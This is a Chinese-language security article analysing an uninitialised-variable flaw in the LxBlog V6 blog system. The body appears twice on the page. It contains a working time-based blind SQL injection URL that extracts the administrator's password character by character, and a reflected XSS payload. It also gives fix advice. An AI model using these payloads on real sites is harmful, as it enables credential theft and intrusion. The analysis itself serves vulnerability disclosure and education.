淺析 LxBlog V6 變量未初始化漏洞
發(fā)布時(shí)間:2009-04-18 12:22:20 作者:佚名
我要評(píng)論
Lxblog 是 PHPWind 開(kāi)發(fā)的一套基于 PHP+MySQL 數(shù)據(jù)庫(kù)平臺(tái)架構(gòu)的多用戶博客系統(tǒng),強(qiáng)調(diào)整站與用戶個(gè)體間的交互,擁有強(qiáng)大的個(gè)人主頁(yè)系統(tǒng)、獨(dú)立的二級(jí)域名體系、靈活的用戶模板系統(tǒng)、豐富的朋友圈和相冊(cè)功 能。但是該blog系統(tǒng)在安全性上并不讓人滿意,本文就來(lái)分析lxblog一個(gè)變
Lxblog 是 PHPWind 開(kāi)發(fā)的一套基于 PHP+MySQL 數(shù)據(jù)庫(kù)平臺(tái)架構(gòu)的多用戶博客系統(tǒng),強(qiáng)調(diào)整站與用戶個(gè)體間的交互,擁有強(qiáng)大的個(gè)人主頁(yè)系統(tǒng)、獨(dú)立的二級(jí)域名體系、靈活的用戶模板系統(tǒng)、豐富的朋友圈和相冊(cè)功 能。但是該blog系統(tǒng)在安全性上并不讓人滿意,本文就來(lái)分析lxblog一個(gè)變量未初始化造成的sql注入漏洞。
我們先來(lái)分析一下這個(gè)漏洞,看代碼:
=======================code==================================
/user/tag.php
<?php
!function_exists('usermsg') && exit('Forbidden');
!in_array($type,$item_type) && exit;
//$type、$item_type均沒(méi)有初始化
require_once(R_P.'mod/charset_mod.php');
foreach ($_POST as $key => $value) {
${'utf8_'.$key} = $value;
${$key} = $db_charset != 'utf-8' ? convert_charset('utf-8',$db_charset,$value) : $value;
}
if ($job == 'add') {
……//省略部分代碼
}elseif($job=="modify"){
$tagnum="{$type}num";
$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");
//$type帶入查詢語(yǔ)句操作數(shù)據(jù)庫(kù)
$touchtagdb['uid']!=$admin_uid && exit;
……//省略部分代碼
=======================code==================================
當(dāng) 然,在文件的第一行有 !function_exists('usermsg') && exit('Forbidden'); 這樣一段代碼的限制,我們不能直接訪問(wèn)該文件,但是可以通過(guò)user_index.php來(lái)include這個(gè)文件執(zhí)行,看具體代碼
=======================code==================================
//user_index.php
<?php
……//省略部分代碼
require_once(R_P.'user/global.php');
require_once(R_P.'user/top.php');
if (!$action) {
……//省略部分代碼
} elseif ($action && file_exists(R_P."user/$action.php")) {
$basename = "$user_file?action=$action";
require_once(Pcv(R_P."user/$action.php"));
//通過(guò)提交$action=tag即可以調(diào)用到存在漏洞的文件
}
……//省略部分代碼
=======================code==================================
看到這個(gè)地方,應(yīng)該已經(jīng)可以觸發(fā)該漏洞了,但是依然要考慮到是否會(huì)受到register_global的影響,幸好user_index.php在開(kāi)始的時(shí)候包含了user/global.php這個(gè)文件,看看這個(gè)文件為我們提供了什么
=======================code==================================
//user/global.php
<?
……//省略部分代碼
if (!in_array($action,array('blogdata','comment','itemcp','post','userinfo'))) {
//'blogdata','comment','itemcp','post','userinfo','global','top'
//我們提交的action=tag,不在上面這個(gè)數(shù)組里面,可以觸發(fā)下面的代碼成功繞過(guò)register_global的影響
foreach ($_POST as $_key => $_value) {
!ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_POST[$_key];
}
foreach ($_GET as $_key => $_value) {
!ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_GET[$_key];
}
}
……//省略部分代碼
=======================code==================================
通過(guò)上面的分析,我們已經(jīng)可以成功控制$type和$item_type的值了,但是還要注意兩個(gè)地方:
第一個(gè)地方是要滿足 in_array($type,$item_type),我們通過(guò)直接將$type和$item_type[]賦值為相同變量即可
第二個(gè)地方是要注意我們注射的語(yǔ)句
$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");
綜合以上,我們構(gòu)造出來(lái)盲注的代碼如下
=======================poc==================================
//判斷uid=1的用戶的密碼第一位的ASCII值是否大于0
http://blog.xxx.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*
=======================poc==================================
通 過(guò)瀏覽器返回的時(shí)間來(lái)判斷是否猜解正確,如果是正確的話,瀏覽器返回的比較慢,近似假死狀態(tài),否則返回的就比較正常。使用二分法不斷猜解即可。另外,如果 數(shù)據(jù)庫(kù)版本較低,可以使用benchmark函數(shù)來(lái)盲注,具體的expliot就不提供了,有需要的可以自己寫(xiě)個(gè)代碼跑跑,不是什么難事。
另外我們看下lxblog的數(shù)據(jù)庫(kù)容錯(cuò)代碼
=======================code==================================
function DB_ERROR($msg) {
global $db_blogname,$REQUEST_URI;
$sqlerror = mysql_error();
$sqlerrno = mysql_errno();
//ob_end_clean();
echo"<html><head><title>$db_blogname</title><style type='text/css'>P,BODY{FONT-FAMILY:tahoma,arial,sans-serif;FONT-SIZE:11px;}A { TEXT-DECORATION: none;}a:hover{ text-decoration: underline;}TD { BORDER-RIGHT: 1px; BORDER-TOP: 0px; FONT-SIZE: 16pt; COLOR: #000000;}</style><body>\n\n";
echo"<table style='TABLE-LAYOUT:fixed;WORD-WRAP: break-word'><tr><td>$msg";
echo"<br><br><b>The URL Is</b>:<br>http://$_SERVER[HTTP_HOST]$REQUEST_URI";
echo"<br><br><b>MySQL Server Error</b>:<br>$sqlerror ( $sqlerrno )";
echo"<br><br><b>You Can Get Help In</b>:<br><a target=_blank href=http://www.phpwind.net><b>http://www.phpwind.net</b></a>";
echo"</td></tr></table>";
exit;
}
=======================code==================================
函數(shù)直接將造成數(shù)據(jù)庫(kù)錯(cuò)誤的url返回給客戶端,對(duì)輸出未作任何過(guò)濾,造成了xss漏洞,下面是我對(duì)官方的測(cè)試:
=======================poc==================================
http://www.lxblog.net/user_index.php?action=tag&job=modify&type=<script>alert(/xss/)</script>&item_type[]=<script>alert(/xss/)</script>
=======================poc==================================
Lxblog 的漏洞就分析到這里了,這個(gè)漏洞的修補(bǔ)也很簡(jiǎn)單,只要在數(shù)據(jù)庫(kù)查詢語(yǔ)句前面將變量$item_type賦值為指定的數(shù)組就可以了。網(wǎng)上的PHP程序有不少 都存在類(lèi)似的漏洞,由于變量沒(méi)有被正確的初始化,從而導(dǎo)致攻擊者可以控制變量被改變程序的流程執(zhí)行一些非法操作。其實(shí)這個(gè)問(wèn)題并不復(fù)雜,保持一個(gè)良好的編 碼習(xí)慣,正確初始化類(lèi)和變量即可杜絕此類(lèi)漏洞。
我們先來(lái)分析一下這個(gè)漏洞,看代碼:
=======================code==================================
/user/tag.php
<?php
!function_exists('usermsg') && exit('Forbidden');
!in_array($type,$item_type) && exit;
//$type、$item_type均沒(méi)有初始化
require_once(R_P.'mod/charset_mod.php');
foreach ($_POST as $key => $value) {
${'utf8_'.$key} = $value;
${$key} = $db_charset != 'utf-8' ? convert_charset('utf-8',$db_charset,$value) : $value;
}
if ($job == 'add') {
……//省略部分代碼
}elseif($job=="modify"){
$tagnum="{$type}num";
$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");
//$type帶入查詢語(yǔ)句操作數(shù)據(jù)庫(kù)
$touchtagdb['uid']!=$admin_uid && exit;
……//省略部分代碼
=======================code==================================
當(dāng) 然,在文件的第一行有 !function_exists('usermsg') && exit('Forbidden'); 這樣一段代碼的限制,我們不能直接訪問(wèn)該文件,但是可以通過(guò)user_index.php來(lái)include這個(gè)文件執(zhí)行,看具體代碼
=======================code==================================
//user_index.php
<?php
……//省略部分代碼
require_once(R_P.'user/global.php');
require_once(R_P.'user/top.php');
if (!$action) {
……//省略部分代碼
} elseif ($action && file_exists(R_P."user/$action.php")) {
$basename = "$user_file?action=$action";
require_once(Pcv(R_P."user/$action.php"));
//通過(guò)提交$action=tag即可以調(diào)用到存在漏洞的文件
}
……//省略部分代碼
=======================code==================================
看到這個(gè)地方,應(yīng)該已經(jīng)可以觸發(fā)該漏洞了,但是依然要考慮到是否會(huì)受到register_global的影響,幸好user_index.php在開(kāi)始的時(shí)候包含了user/global.php這個(gè)文件,看看這個(gè)文件為我們提供了什么
=======================code==================================
//user/global.php
<?
……//省略部分代碼
if (!in_array($action,array('blogdata','comment','itemcp','post','userinfo'))) {
//'blogdata','comment','itemcp','post','userinfo','global','top'
//我們提交的action=tag,不在上面這個(gè)數(shù)組里面,可以觸發(fā)下面的代碼成功繞過(guò)register_global的影響
foreach ($_POST as $_key => $_value) {
!ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_POST[$_key];
}
foreach ($_GET as $_key => $_value) {
!ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_GET[$_key];
}
}
……//省略部分代碼
=======================code==================================
通過(guò)上面的分析,我們已經(jīng)可以成功控制$type和$item_type的值了,但是還要注意兩個(gè)地方:
第一個(gè)地方是要滿足 in_array($type,$item_type),我們通過(guò)直接將$type和$item_type[]賦值為相同變量即可
第二個(gè)地方是要注意我們注射的語(yǔ)句
$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");
綜合以上,我們構(gòu)造出來(lái)盲注的代碼如下
=======================poc==================================
//判斷uid=1的用戶的密碼第一位的ASCII值是否大于0
http://blog.xxx.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*
=======================poc==================================
通 過(guò)瀏覽器返回的時(shí)間來(lái)判斷是否猜解正確,如果是正確的話,瀏覽器返回的比較慢,近似假死狀態(tài),否則返回的就比較正常。使用二分法不斷猜解即可。另外,如果 數(shù)據(jù)庫(kù)版本較低,可以使用benchmark函數(shù)來(lái)盲注,具體的expliot就不提供了,有需要的可以自己寫(xiě)個(gè)代碼跑跑,不是什么難事。
另外我們看下lxblog的數(shù)據(jù)庫(kù)容錯(cuò)代碼
=======================code==================================
function DB_ERROR($msg) {
global $db_blogname,$REQUEST_URI;
$sqlerror = mysql_error();
$sqlerrno = mysql_errno();
//ob_end_clean();
echo"<html><head><title>$db_blogname</title><style type='text/css'>P,BODY{FONT-FAMILY:tahoma,arial,sans-serif;FONT-SIZE:11px;}A { TEXT-DECORATION: none;}a:hover{ text-decoration: underline;}TD { BORDER-RIGHT: 1px; BORDER-TOP: 0px; FONT-SIZE: 16pt; COLOR: #000000;}</style><body>\n\n";
echo"<table style='TABLE-LAYOUT:fixed;WORD-WRAP: break-word'><tr><td>$msg";
echo"<br><br><b>The URL Is</b>:<br>http://$_SERVER[HTTP_HOST]$REQUEST_URI";
echo"<br><br><b>MySQL Server Error</b>:<br>$sqlerror ( $sqlerrno )";
echo"<br><br><b>You Can Get Help In</b>:<br><a target=_blank href=http://www.phpwind.net><b>http://www.phpwind.net</b></a>";
echo"</td></tr></table>";
exit;
}
=======================code==================================
函數(shù)直接將造成數(shù)據(jù)庫(kù)錯(cuò)誤的url返回給客戶端,對(duì)輸出未作任何過(guò)濾,造成了xss漏洞,下面是我對(duì)官方的測(cè)試:
=======================poc==================================
http://www.lxblog.net/user_index.php?action=tag&job=modify&type=<script>alert(/xss/)</script>&item_type[]=<script>alert(/xss/)</script>
=======================poc==================================
Lxblog 的漏洞就分析到這里了,這個(gè)漏洞的修補(bǔ)也很簡(jiǎn)單,只要在數(shù)據(jù)庫(kù)查詢語(yǔ)句前面將變量$item_type賦值為指定的數(shù)組就可以了。網(wǎng)上的PHP程序有不少 都存在類(lèi)似的漏洞,由于變量沒(méi)有被正確的初始化,從而導(dǎo)致攻擊者可以控制變量被改變程序的流程執(zhí)行一些非法操作。其實(shí)這個(gè)問(wèn)題并不復(fù)雜,保持一個(gè)良好的編 碼習(xí)慣,正確初始化類(lèi)和變量即可杜絕此類(lèi)漏洞。
相關(guān)文章

2019最新RDP遠(yuǎn)程桌面漏洞官方補(bǔ)丁(針對(duì)win2003、win2008)
Windows系列服務(wù)器于2019年5月15號(hào),被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系統(tǒng)都會(huì)遭到攻擊,該服務(wù)器漏洞利用方式是通過(guò)遠(yuǎn)程桌面端口332021-07-25
寶塔面板 phpmyadmin 未授權(quán)訪問(wèn)漏洞 BUG ip:888/pma的問(wèn)題分析
這篇文章主要介紹了寶塔面板 phpmyadmin 未授權(quán)訪問(wèn)漏洞 BUG ip:888/pma,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-08-24
CPU幽靈和熔斷漏洞是什么?Intel為大家簡(jiǎn)單易懂的科普了一番
不久前讓整全行業(yè)緊張、全球用戶恐慌的Spectre幽靈、Meltdown熔斷兩大漏洞事件剛剛告一段落了,那么這兩個(gè)漏洞到底是什么?可能還有很多人不是很清楚,想了解的朋友跟著小2018-03-21
2017年5月12日,WannaCry蠕蟲(chóng)通過(guò)MS17-010漏洞在全球范圍大爆發(fā),感染了大量的計(jì)算機(jī),該蠕蟲(chóng)感染計(jì)算機(jī)后會(huì)向計(jì)算機(jī)中植入敲詐者病毒,導(dǎo)致電腦大量文件被加密,本文對(duì)其2017-05-17- 大部分的用戶可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02
WEB常見(jiàn)漏洞問(wèn)題危害及修復(fù)建議
漏洞檢測(cè)工具用語(yǔ)有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介紹,本文介紹的非常詳細(xì),具有參考解決價(jià)值,感興趣的朋友一起看看吧2016-10-11漏洞 自動(dòng)化腳本 論漏洞和自動(dòng)化腳本的區(qū)別
漏洞無(wú)處不在,它是在硬件、軟件、協(xié)議的具體實(shí)現(xiàn)或系統(tǒng)安全策略上存在的缺陷,從而可以使攻擊者能夠在未授權(quán)的情況下訪問(wèn)或破壞系統(tǒng)2016-09-29手把手教你如何構(gòu)造Office漏洞POC(以CVE-2012-0158為例)
近年來(lái)APT追蹤盛行,最常見(jiàn)的就是各種以釣魚(yú)開(kāi)始的攻擊,不僅僅有網(wǎng)站掛馬式釣魚(yú),也有魚(yú)叉式郵件釣魚(yú),下面小編就為大家介紹office漏洞CVE-2012-0158,一起來(lái)看看吧2016-09-28簡(jiǎn)單七步教你如何解決關(guān)鍵SSL安全問(wèn)題和漏洞
SSL(安全套接字層)逐漸被大家所重視,但是最不能忽視的也是SSL得漏洞,隨著SSL技術(shù)的發(fā)展,新的漏洞也就出現(xiàn)了,下面小編就為大家介紹簡(jiǎn)單七步教你如何解決關(guān)鍵SSL安全問(wèn)題2016-09-23Python 爬蟲(chóng)修養(yǎng)-處理動(dòng)態(tài)網(wǎng)頁(yè)
在爬蟲(chóng)開(kāi)發(fā)中,大家可以很輕易地 bypass 所謂的 UA 限制,甚至用 scrapy 框架輕易實(shí)現(xiàn)按照深度進(jìn)行爬行。但是實(shí)際上,這些并不夠。關(guān)于爬蟲(chóng)的基礎(chǔ)知識(shí)比如數(shù)據(jù)處理與數(shù)據(jù)存2016-09-12





